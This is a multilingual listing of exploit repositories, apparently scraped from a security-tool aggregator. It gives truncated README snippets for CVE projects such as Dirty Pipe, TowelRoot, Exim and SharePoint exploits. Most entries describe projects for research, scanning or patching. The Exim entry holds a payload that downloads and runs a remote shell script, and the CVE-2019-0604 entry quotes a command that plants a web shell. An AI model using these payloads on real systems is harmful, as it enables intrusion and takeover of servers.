1301156 matches found
CVE-2021-34523
이 저장소에는 README가 없습니다...
TowelRoot
TowelRoot란 무엇인가? Towelroot는 Linux 기반의 Android 커널에 있는 취약점을 악용하여 루트 액세스를 획득합니다. 커널은 장치의 매우 기본적인 구성 요소로, 운영 체제와 물리적 하드웨어가 서로 통신할 수 있도록 중개자 역할을 합니다. https://threatpost.com/android-ransomware-attacks-using-towelroot-hacking-team-exploits/117655/ 프로젝트 설명 이 프로젝트에서는 CVE-2014-3153 취약점을 악용하여 루트 권한을 획득하는 코드...
Linux-Kernel-Dirty-Pipe-Exploitation-Logic-Bug-
리눅스 커널 Dirty Pipe 익스플로잇 로직 버그 by: Antonius w1sdom https://www.bluedragonsec.com https://github.com/bluedragonsecurity Dirty Pipe CVE-2022-0847는 Max Kellermann이 2022년에 발견한 리눅스 커널 5.8 5.15.24에서 가장 중요한 보안 취약점 중 하나입니다. 이 취약점은 일반 사용자특별한 권한 없이가 읽기 전용이어야 하는 파일의 데이터를 덮어쓸 수 있게 합니다. 핵심 개념 이해하기 Dirty Pipe를...
CVE-2017-3599
このリポジトリには README がありません。...
nginxhack
这是一个利用名为 CVE-2013-2028 的漏洞来在运行 Nginx 1.3.9 或 1.4.0 的目标服务器上执行一个 绑定壳 的工具。 可以从 这里 下载（你需要从命令行运行它） 使用方法： nginxhack target target port target bind port...
fix-CVE-2020-15228
CVE-2020-15228 수정 Github-Actions의 set-env, add-path 이 스크립트는 GitHub 액션 파일의 줄을 변경합니다. 디렉터리 이름을 입력하면 ".sh" 또는 ".yml" 확장자를 가진 모든 파일을 검색합니다. 다음 줄을 인식합니다: root@kitploit: echo ::set-env name=FOOBAR::$FOOBAR echo ::set-env name=FOOBAR::$FOOBAR echo "::set-env name=FOOBAR::$FOOBAR" echo "::set-env...
CVE-2023-28432-metasploit-scanner
CVE-2023-28432-metasploit-scanner metasploit 기반 MinIO 정보 공개 취약점 스캐너 준비 POC root@kitploit: git clone https://github.com/TaroballzChen/CVE-2023-28432-metasploit-scanner cd CVE-2023-28432-metasploit-scanner mkdir -p /.msf4/modules/auxiliary/scanner/http cp minioinformationdisclosure.py...
CVE-2019-0708
이 저장소에는 README가 없습니다...
CVE-2026-4861
cve-id 寄付 PayPalまたは下のQRコードをスキャンして、このプロジェクトのメンテナンスをサポートしてください。 ⚡ 簡単な使用方法 このプロジェクトは、次のような安全で許可された環境でのみ使用してください： ローカル仮想マシン Dockerコンテナ 隔離されたラボ環境 許可されたペネトレーションテスト環境 セットアップ例： root@kitploit: git clone cd Project use python follow below Create a virtual environment python -m venv venv Activate the virtua...
android-badbinder-demo
CVE-2019-2215 Bad Binder — エクスプロイト解析 このリポジトリは、脆弱性 CVE-2019-2215 Bad Binder を調査し、Kotlin/Jetpack Compose によるシンプルな GUI を備えた Android 向けの動作するエクスプロイトプロトタイプを作成するための小さなテストプロジェクトです。 README では以下の内容を扱います。 1. 環境準備とエクスプロイトプロトタイプの実行方法の説明。 2. CVE-2019-2215 の主要な悪用ステップの解説と、C コード内の具体的な関数との対応付け。 3...
CVE-2020-3452
이 저장소에는 README가 없습니다...
log4j-log4shell-affected
log4j-log4shell-affected CVE-2021-44228（通称 Log4shell または Log4j RCE）に関連する影響を受けたコンポーネントおよび影響を受けるアプリ・ベンダーのリスト（セキュリティ対応者向け）。 私たちは、ベンダーと製品を次のように分類することが重要だと考えています。 1. 内部リスク – 内部のリスクを除去するために最初にパッチを適用すべきもの 2. 外部リスク – データを預けているサードパーティやフォースパーティのベンダーで、侵害されている可能性があり、パッチ適用後に監視し対処する必要があるもの 以下がリストです: 外部リスク –...
hm-surf
HM-Surf 평가 도구 일반적인 macOS 브라우저의 CVE-2024-44133 취약성 여부를 평가합니다. 또한 스크린샷을 찍고 위치 정보 추출과 함께 다운로드하는 HTML을 포함합니다. 사용법 - 평가 도구 모든 일반적인 macOS 브라우저에서 CVE-2024-44133을 평가하는 평가 도구를 실행하려면 다음을 실행하세요: root@kitploit: python3 -m pip install -r ./requirements.txt ./hm-surf-eval.py 실행 시 도구는 모든 일반적인 macOS 브라우저의 TCC 우회...
libmsm_acdb_exploit
원본 코드는 @gorohkun이 작성했습니다. https://www.codeaurora.org/projects/security-advisories/stack-based-buffer-overflow-acdb-audio-driver-cve-2013-2597...
CVE-2019-0604
一、k8gegeのcve-2019-0604-exp.pyを解説 k8gegeのスクリプト https://github.com/k8gege/CVE-2019-0604 正直言って、k8gegeのpyスクリプトは少し派手で、大量の16進数文字列があり、payload1,2,3に分かれています。悪質ですね。 pythonスクリプトがリモートPOSTするpayloadは、逆シリアル化後にXMLデータボディになります。 root@kitploit: cmd /c echo ^%@ Page Language="Jscript" %^^%var pwd="tom";var...
CVE-2023-6444-POC
CVE-202306444-POC 認証されていない管理者メール開示CVE-2023-6444の概念実証 使用方法: python3 cve-2023-6444.py $URL https://vulners.com/cvelist/CVELIST:CVE-2023-6444...
Exim-CVE-2019-10149
Exim-CVE-2019-10149 취약점 CVE-2019-10149 악용을 위한 PoC 사용 예시 python3 PoC.py --rhost 192.168.1.100 --lhost 10.10.10.10 --lport 4444 --payload '/bin/sh -c wget http://10.10.10.10:8000/shell.sh -O - | bash'...
CVE-2019-5782_CVE-2019-13768
https://googleprojectzero.blogspot.com/2019/04/virtually-unlimited-memory-escaping.html 悪用 CVE-2019-7582 および CVE-2019-13768/P0 issue 1755 対象 Chrome 71.0.3578.98 Windows 10 1909+ で動作させるために、元のPoC を更新する必要がありました。 また、特定のターゲットマシンで信頼性を高める必要がありました。元のPoCはそのマシンでは約0%の信頼性でしたが、別のターゲットでは約100%でした。 依存関係のインストール...
go-get-RCE
go-get-RCE 이것은 CVE-2018-6574: go get RCE의 익스플로잇입니다. 이 취약점은 Golang의 go get 명령어에 영향을 미치며, 공격자가 악성 라이브러리를 설치하는 시스템에서 코드 실행을 가능하게 합니다. 이는 typosquatting을 이용하여 개발자 워크스테이션과 프로덕션 시스템에서 코드 실행을 달성할 수 있는 취약점의 좋은 예입니다. 이 취약점은 Go 1.8.7, 1.9.4 및 1.10rc2에서 수정되었습니다...